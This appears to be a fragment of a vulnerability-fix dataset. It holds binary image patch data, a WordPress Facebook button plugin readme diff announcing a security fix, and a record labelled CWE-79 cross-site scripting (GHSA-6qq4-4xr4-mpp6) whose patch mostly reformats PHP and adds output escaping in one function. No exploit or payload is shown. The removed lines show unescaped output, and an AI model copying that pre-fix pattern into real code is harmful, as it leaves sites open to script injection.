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
G%l`r6&*#Aa

diff --git a/images/facebook-ico3.png b/images/standard-facebook-ico.png
similarity index 100%
rename from images/facebook-ico3.png
rename to images/standard-facebook-ico.png
diff --git a/images/standart-facebook-ico.png b/images/standart-facebook-ico.png
deleted file mode 100755
index 1585001ae5961f1c657f4376cb203f88e010b239..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 4093
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

diff --git a/readme.txt b/readme.txt
index 82dc785..3f086c2 100644
--- a/readme.txt
+++ b/readme.txt
@@ -3,8 +3,8 @@ Contributors: bestwebsoft
 Donate link: https://www.2checkout.com/checkout/purchase?sid=1430388&quantity=1&product_id=94
 Tags: button, buton, batton, button image, button position, Button like, Facebook, Facebook account button, facebook button, facebook button language, Facebook button icon, Facebook button like, Facebook button share, Facebook ID, Facebook page, facebook like, facebook like button, facebook share, facebook share button, follow, Follow button, icon, Like, like button, My Page button, Share, share button, social, social button, social account
 Requires at least: 3.0
-Tested up to: 4.0-beta2
-Stable tag: 2.33
+Tested up to: 4.0-beta3
+Stable tag: 2.34
 License: GPLv2 or later
 License URI: http://www.gnu.org/licenses/gpl-2.0.html
 
@@ -107,6 +107,9 @@ Please make sure that the problem hasn't been discussed yet on our forum (<a hre
 
 == Changelog ==
 
+= V2.34 - 13.08.2014 =
+* Budfix : Security Exploit was fixed.
+
 = V2.33 - 06.08.2014 =
 * Update : We updated all functionality for wordpress 4.0-beta2.
 * Bugfix : Problem with custom images after updating plugin was fixed.
@@ -245,6 +248,9 @@ Please make sure that the problem hasn't been discussed yet on our forum (<a hre
 
 == Upgrade Notice ==
 
+= V2.34 =
+Security Exploit was fixed.
+
 = V2.33 =
 We updated all functionality for wordpress 4.0-beta2. Problem with custom images after updating plugin was fixed.", "url": "https://github.com/wp-plugins/facebook-button-plugin/commit/b766da8fa100779409a953f0e46c2a2448cbe99c.patch" } ]
CWE-79 Cross Site Scripting
GHSA-6qq4-4xr4-mpp6
null
[ { "commit_message": "[PATCH] Update Modules/Lightbox/Render/Effects1.php | 2 +- Modules/Lightbox/Render/Effects2.php | 24 ++--- Page/Public_Render.php | 139 ++++++++++----------------- 3 files changed, 62 insertions(+), 103 deletions(-)", "patch_text_b64": "From 4ba784e1a2a0cf02e8b8cbe3db7323735d7dedc9 Mon Sep 17 00:00:00 2001
From: Biplob Adhikari <50793821+MrOxizen@users.noreply.github.com>
Date: Mon, 5 Dec 2022 12:52:56 +0600
Subject: [PATCH] Update

---
 Modules/Lightbox/Render/Effects1.php |   2 +-
 Modules/Lightbox/Render/Effects2.php |  24 ++---
 Page/Public_Render.php               | 139 ++++++++++-----------------
 3 files changed, 62 insertions(+), 103 deletions(-)

diff --git a/Modules/Lightbox/Render/Effects1.php b/Modules/Lightbox/Render/Effects1.php
index 50d7e549..b84bf2f6 100755
--- a/Modules/Lightbox/Render/Effects1.php
+++ b/Modules/Lightbox/Render/Effects1.php
@@ -135,7 +135,7 @@ public function default_render($style, $child, $admin) {
                                         <button class="oxi_addons__button">
                                             <?php $this->text_render($value['oxi_image_light_box_button_text']); ?>
                                         </button>
-                                    </div> 
+                                    </div>
                                     <?php
                                 }
                             } elseif (array_key_exists('oxi_image_light_box_clickable', $style) && $style['oxi_image_light_box_clickable'] == 'image') {
diff --git a/Modules/Lightbox/Render/Effects2.php b/Modules/Lightbox/Render/Effects2.php
index dba23d47..ace68199 100755
--- a/Modules/Lightbox/Render/Effects2.php
+++ b/Modules/Lightbox/Render/Effects2.php
@@ -45,23 +45,23 @@ public function default_render($style, $child, $admin) {
             ?>
             <div class="oxi_addons__light_box_style_2 oxi_addons__light_box <?php $this->column_render('oxi-image-hover-col', $style) ?>  <?php
             echo ($admin == "admin" ? 'oxi-addons-admin-edit-list' : '');
-            ?>"> 
-                <div class="oxi_addons__light_box_parent"> 
+            ?>">
+                <div class="oxi_addons__light_box_parent">
                     <?php
                     if ($this->custom_media_render('oxi_image_light_box_image', $value) != '') {
                         ?>
-                    <div class="oxi_addons__light_box_item  lightbox_key_<?php echo (int) $key; ?>" <?php
+                        <div class="oxi_addons__light_box_item  lightbox_key_<?php echo (int) $key; ?>" <?php
                         if (array_key_exists('oxi_image_light_box_clickable', $style) && $style['oxi_image_light_box_clickable'] == 'image'):
                             echo ' style="width: 100%" ';
                         endif;
-                        ?>>  
-                             <?php
+                        ?>>
+                                 <?php
                                  if (array_key_exists('oxi_image_light_box_clickable', $style) && $style['oxi_image_light_box_clickable'] == 'button') {
                                      if (array_key_exists('oxi_image_light_box_button_text', $value) && $value['oxi_image_light_box_button_text'] != '') {
                                          ?>
                                     <div class="oxi_addons__button_main">
                                         <button class="oxi_addons__button">
-                                            <?php $this->text_render($value['oxi_image_light_box_button_text']) ?> 
+                                            <?php $this->text_render($value['oxi_image_light_box_button_text']) ?>
                                         </button>
                                     </div>
                                     <?php
@@ -92,14 +92,14 @@ public function default_render($style, $child, $admin) {
                         </div>
                         <?php
                     }
-                    ?>  
+                    ?>
                 </div>
                 <?php
                 if ($admin == 'admin') :
                     $this->oxi_addons_admin_edit_delete_clone($val['id']);
                 endif;
                 ?>
-            </div> 
+            </div>
             <?php
         }
     }
@@ -134,9 +134,9 @@ public function inline_public_jquery() {
                         mainClass: "' . $this->WRAPPER . '",
                         callbacks: {
                                     beforeChange: function() {
-                                     this.items[0].src = this.items[0].src + "?=" + Math.random(); 
+                                     this.items[0].src = this.items[0].src + "?=" + Math.random();
                                     }
-                        },  
+                        },
                         closeBtnInside: true,
                         closeOnContentClick: true,
                         tLoading: "",
@@ -161,11 +161,11 @@ public function inline_public_css() {
                       z-index: ' . ($style['oxi_image_light_z_ind'] + 3) . ';
                   }
 
-                 .oxi-image-hover-wrapper-' . $this->oxiid . ' .Oxipopup-image-holder .Oxipopup-close, 
+                 .oxi-image-hover-wrapper-' . $this->oxiid . ' .Oxipopup-image-holder .Oxipopup-close,
                  .oxi-image-hover-wrapper-' . $this->oxiid . ' .Oxipopup-iframe-holder .Oxipopup-close{
                      color: ' . $style['oxi_image_light_cls_clr'] . ';
                   }
-                 
+
                   .oxi-image-hover-wrapper-' . $this->oxiid . ' .Oxipopup-preloader{
                      background: ' . $style['oxi_image_light_pre_clr'] . ';
                   }';
diff --git a/Page/Public_Render.php b/Page/Public_Render.php
index 3d080fb8..e7625008 100755
--- a/Page/Public_Render.php
+++ b/Page/Public_Render.php
@@ -11,8 +11,7 @@
  *
  * @author $biplob018
  */
-class Public_Render
-{
+class Public_Render {
 
     /**
      * Current Elements id
@@ -114,8 +113,7 @@ class Public_Render
     public $dynamicCarousel;
     public $dynamicLoad;
 
-    public function __construct(array $dbdata = [], array $child = [], $admin = 'user')
-    {
+    public function __construct(array $dbdata = [], array $child = [], $admin = 'user') {
         if (count($dbdata) > 0) :
             global $wpdb;
             $this->dbdata = $dbdata;
@@ -144,8 +142,7 @@ public function __construct(array $dbdata = [], array $child = [], $admin = 'use
      *
      * @since 9.3.0
      */
-    public function loader()
-    {
+    public function loader() {
         $this->style = json_decode(stripslashes($this->dbdata['rawdata']), true);
         $this->CSSDATA = $this->dbdata['stylesheet'];
         $this->WRAPPER = 'oxi-image-hover-wrapper-' . $this->dbdata['id'];
@@ -157,8 +154,7 @@ public function loader()
      *
      * @since 9.3.0
      */
-    public function old_loader()
-    {
+    public function old_loader() {
         $this->old_render();
     }
 
@@ -167,8 +163,7 @@ public function old_loader()
      *
      * @since 9.3.0
      */
-    public function public_frontend_loader()
-    {
+    public function public_frontend_loader() {
         wp_enqueue_script("jquery");
         wp_enqueue_style('oxi-animation', OXI_IMAGE_HOVER_URL . '/assets/frontend/css/animation.css', false, OXI_IMAGE_HOVER_PLUGIN_VERSION);
         wp_enqueue_style('oxi-image-hover', OXI_IMAGE_HOVER_URL . '/assets/frontend/css/style.css', false, OXI_IMAGE_HOVER_PLUGIN_VERSION);
@@ -187,8 +182,7 @@ public function public_frontend_loader()
      *
      * @since 9.3.0
      */
-    public function hooks()
-    {
+    public function hooks() {
         $this->public_frontend_loader();
         $this->public_jquery();
         $this->public_css();
@@ -221,9 +215,6 @@ public function hooks()
 
         endif;
         if ($inlinecss != '') :
-
-
-
             $css = html_entity_decode(str_replace('<br>', '', str_replace('&nbsp;', ' ', $inlinecss)));
             if ($this->admin == 'admin' || $this->admin == 'web') :
                 //only load while ajax called
@@ -241,12 +232,11 @@ public function hooks()
      *
      * @since 9.3.0
      */
-    public function render()
-    {
+    public function render() {
         if ($this->admin == 'request') :
             $this->default_render($this->style, $this->child, $this->admin);
         else :
-?>
+            ?>
             <div class="oxi-addons-container noLightbox <?php echo esc_attr($this->WRAPPER); ?> <?php echo esc_attr(get_option('oxi_addons_custom_parent_class')); ?>" id="<?php echo esc_attr($this->WRAPPER); ?>">
                 <div class="oxi-addons-row">
                     <?php
@@ -257,8 +247,8 @@ public function render()
         <?php
         endif;
     }
-     public function oxi_addons_admin_edit_delete_clone($param)
-    {
+
+    public function oxi_addons_admin_edit_delete_clone($param) {
         ?>
         <div class="oxi-addons-admin-absulote">
             <div class="oxi-addons-admin-absulate-edit">
@@ -271,7 +261,7 @@ public function oxi_addons_admin_edit_delete_clone($param)
                 <button class="btn btn-danger shortcode-addons-template-item-delete" type="submit" value="<?php echo esc_attr($param); ?>" title="Delete">Del</button>
             </div>
         </div>
-<?php
+        <?php
     }
 
     /**
@@ -279,8 +269,7 @@ public function oxi_addons_admin_edit_delete_clone($param)
      *
      * @since 9.3.0
      */
-    public function old_render()
-    {
+    public function old_render() {
         echo '';
     }
 
@@ -289,8 +278,7 @@ public function old_render()
      *
      * @since 9.3.0
      */
-    public function public_jquery()
-    {
+    public function public_jquery() {
         echo '';
     }
 
@@ -299,8 +287,7 @@ public function public_jquery()
      *
      * @since 9.3.0
      */
-    public function public_css()
-    {
+    public function public_css() {
         echo '';
     }
 
@@ -309,8 +296,7 @@ public function public_css()
      *
      * @since 9.3.0
      */
-    public function inline_public_jquery()
-    {
+    public function inline_public_jquery() {
         echo '';
     }
 
@@ -319,8 +305,7 @@ public function inline_public_jquery()
      *
      * @since 9.3.0
      */
-    public function inline_public_css()
-    {
+    public function inline_public_css() {
         echo '';
     }
 
@@ -329,8 +314,7 @@ public function inline_public_css()
      *
      * @since 9.3.0
      */
-    public function default_render($style, $child, $admin)
-    {
+    public function default_render($style, $child, $admin) {
         echo '';
     }
 
@@ -339,21 +323,18 @@ public function default_render($style, $child, $admin)
      *
      * @since 9.3.0
      */
-    public function Json_Decode($rawdata)
-    {
+    public function Json_Decode($rawdata) {
         return $rawdata != '' ? json_decode(stripcslashes($rawdata), true) : [];
     }
 
-    public function name_converter($data)
-    {
+    public function name_converter($data) {
         $data = str_replace('_', ' ', $data);
         $data = str_replace('-', ' ', $data);
         $data = str_replace('+', ' ', $data);
-        return ucwords($data);
+        return esc_attr(ucwords($data));
     }
 
-    public function font_familly_validation($data = [])
-    {
+    public function font_familly_validation($data = []) {
         $api = get_option('oxi_addons_google_font');
         if ($api == 'no') :
             return;
@@ -363,34 +344,30 @@ public function font_familly_validation($data = [])
         }
     }
 
-    public function font_familly($data = '')
-    {
+    public function font_familly($data = '') {
         $api = get_option('oxi_addons_google_font');
         if ($api != 'no') :
             wp_enqueue_style('' . $data . '', 'https://fonts.googleapis.com/css?family=' . $data . '');
         endif;
         $data = str_replace('+', ' ', $data);
         $data = explode(':', $data);
